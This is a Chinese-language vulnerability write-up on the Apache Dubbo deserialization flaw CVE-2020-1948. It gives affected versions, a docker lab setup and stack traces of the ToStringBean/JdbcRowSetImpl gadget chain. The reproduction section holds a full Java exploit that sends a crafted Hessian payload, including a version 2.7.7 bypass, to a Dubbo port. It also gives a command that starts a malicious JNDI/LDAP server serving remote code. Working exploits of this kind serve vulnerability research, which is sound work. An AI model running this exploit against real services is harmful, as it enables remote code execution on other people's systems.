文章

Apache_Dubbo_Provider_dubbo协议反序列化漏洞(CVE-2020-1948)

Apache Dubbo Provider dubbo协议反序列化漏洞(CVE-2020-1948)

1 漏洞简介

Apache Dubbo Provider存在反序列化漏洞,当 Dubbo 服务端暴露时(默认端口:20880),攻击者可以发送未经验证的服务名或方法名的RPC请求,同时配合附加恶意的参数负载。当恶意参数被反序列化时,将执行恶意代码。

2 影响范围

Apache Dubbo 2.7.0 ~ 2.7.6

Apache Dubbo 2.6.0 ~ 2.6.7

Apache Dubbo 2.5.x 所有版本 (官方不再提供支持)

3 环境搭建

3.1 导入docker image

1
$ docker load -i polarvul_dubbo_cve-2020-1948.tar

3.2 启动docker容器

1
$ docker run -d --name polarvul_dubbo -p8080:12345 polarvul_dubbo_cve-2020-1948:web

4 漏洞分析

先放出整个调用过程的堆栈信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
toString:164, ToStringBean (com.rometools.rome.feed.impl)
toString:129, ToStringBean (com.rometools.rome.feed.impl)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
toString:536, AbstractMap (java.util)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
toString:429, RpcInvocation (org.apache.dubbo.rpc)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
getInvoker:265, DubboProtocol (org.apache.dubbo.rpc.protocol.dubbo)
reply:120, DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo)
received:152, DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo)
received:177, HeaderExchangeHandler (org.apache.dubbo.remoting.exchange.support.header)
received:51, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

org.apache.dubbo.remoting.transport.DecodeHandler#receivedimage-20240428213410753

org.apache.dubbo.remoting.transport.DecodeHandler#decode

image-20240428211455428

org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode

image-20240428213728035

org.apache.dubbo.rpc.protocol.dubbo.CallbackServiceCodec#decodeInvocationArgument

image-20240428213945435

org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol#getInvoker

image-20240428214145197

隐式调用toString

image-20240429210855549

exporternull的时候,会进行异常处理,也就是在this.exporterMap中找不到键值为servicekey的值,其中servicekey是用户请求的servicenamethis.exporterMapprovider定义的service,也就是说当用户请求的serviceprovider中找不到时,会触发该漏洞。

org.apache.dubbo.rpc.RpcInvocation#toString

image-20240429204548982

这边还是隐式调用toString从而走到ToStringBean

image-20240429204719633

通过报错看一下整个调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
	at java.lang.ProcessBuilder.start(ProcessBuilder.java:1048)
	at java.lang.Runtime.exec(Runtime.java:620)
	at java.lang.Runtime.exec(Runtime.java:450)
	at java.lang.Runtime.exec(Runtime.java:347)
	at ExecTemplateJDK8.<clinit>(Unknown Source)
	at java.lang.Class.forName0(Native Method)
	at java.lang.Class.forName(Class.java:348)
	at com.sun.naming.internal.VersionHelper12.loadClass(VersionHelper12.java:72)
	at com.sun.naming.internal.VersionHelper12.loadClass(VersionHelper12.java:87)
	at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:158)
	at javax.naming.spi.DirectoryManager.getObjectInstance(DirectoryManager.java:189)
	at com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1085)
	at com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup(ComponentContext.java:542)
	at com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup(PartialCompositeContext.java:177)
	at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
	at com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
	at javax.naming.InitialContext.lookup(InitialContext.java:417)
	at com.sun.rowset.JdbcRowSetImpl.connect(JdbcRowSetImpl.java:624)
	at com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData(JdbcRowSetImpl.java:4004)
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:497)
	at com.rometools.rome.feed.impl.ToStringBean.toString(ToStringBean.java:158)
	at com.rometools.rome.feed.impl.ToStringBean.toString(ToStringBean.java:129)
	at java.lang.String.valueOf(String.java:2994)
	at java.lang.StringBuilder.append(StringBuilder.java:131)
	at java.util.AbstractMap.toString(AbstractMap.java:536)
	at java.lang.String.valueOf(String.java:2994)
	at java.lang.StringBuilder.append(StringBuilder.java:131)
	at org.apache.dubbo.rpc.RpcInvocation.toString(RpcInvocation.java:429)
	at org.apache.dubbo.remoting.exchange.Request.safeToString(Request.java:63)
	at org.apache.dubbo.remoting.exchange.Request.toString(Request.java:133)
	at java.lang.String.valueOf(String.java:2994)
	at java.lang.StringBuilder.append(StringBuilder.java:131)
	at org.apache.dubbo.remoting.transport.dispatcher.ChannelEventRunnable.run(ChannelEventRunnable.java:59)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
	at java.lang.Thread.run(Thread.java:745)

5 漏洞复现

因为利用的是JNDI注入的攻击手法所以先用工具起一个恶意的RMISERVERLDAPSERVER

工具:https://github.com/cckuailong/JNDI-Injection-Exploit-Plus/

1
java -jar JNDI-Injection-Exploit-Plus-2.4-SNAPSHOT-all.jar -C "calc" -A "127.0.0.1"

image-20240429212251835

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package org.example;

import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import org.apache.dubbo.common.io.Bytes;
import org.apache.dubbo.common.serialize.Cleanable;
import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectOutput;
import org.example.utils.Reflections;

import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.util.HashMap;
import java.util.Random;

/*
 * CVE-2020-1948
 * 2.5.x、[2.6.0, 2.6.7]、[2.7.0, 2.7.6]、2.7.7
 * 抓请求包看看数据
 */

public class CVE_2020_1948_bypass {
    public static void main(String[] args) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

        // header.
        byte[] header = new byte[16];
        // set magic number.
        Bytes.short2bytes((short) 0xdabb, header);
        // set request and serialization flag.
        header[2] = (byte) ((byte) 0x80 | 2);

        // set request id.
        Bytes.long2bytes(new Random().nextInt(100000000), header, 4);

        ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2ObjectOutput out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream);

        out.writeUTF("2.7.7");
        //todo 此处填写注册中心获取到的service全限定名、版本号、方法名
        out.writeUTF("");
        out.writeUTF("1.0");
        // dubbo 2.7.7版本绕过
        out.writeUTF("$echo");
        //todo 方法描述不需要修改,因为此处需要指定map的payload去触发
        out.writeUTF("Ljava/lang/Object;");
        out.writeObject("foo");

        JdbcRowSetImpl rs = new JdbcRowSetImpl();
        //todo 此处填写ldap url
        rs.setDataSourceName("ldap://127.0.0.1:1389/remoteExploit8");
        rs.setMatchColumn("foo");
        Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null);

        ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);
        HashMap attachments = new HashMap();
        attachments.put("pwn", item);
        out.writeObject(attachments);

        out.flushBuffer();
        if (out instanceof Cleanable) {
            ((Cleanable) out).cleanup();
        }

        Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
        byteArrayOutputStream.write(header);
        byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());

        byte[] bytes = byteArrayOutputStream.toByteArray();

        //todo 此处填写被攻击的dubbo服务提供者地址和端口
        Socket socket = new Socket("127.0.0.1", 8080);
        OutputStream outputStream = socket.getOutputStream();
        outputStream.write(bytes);
        outputStream.flush();
        outputStream.close();
    }
}
本文由作者按照 CC BY 4.0 进行授权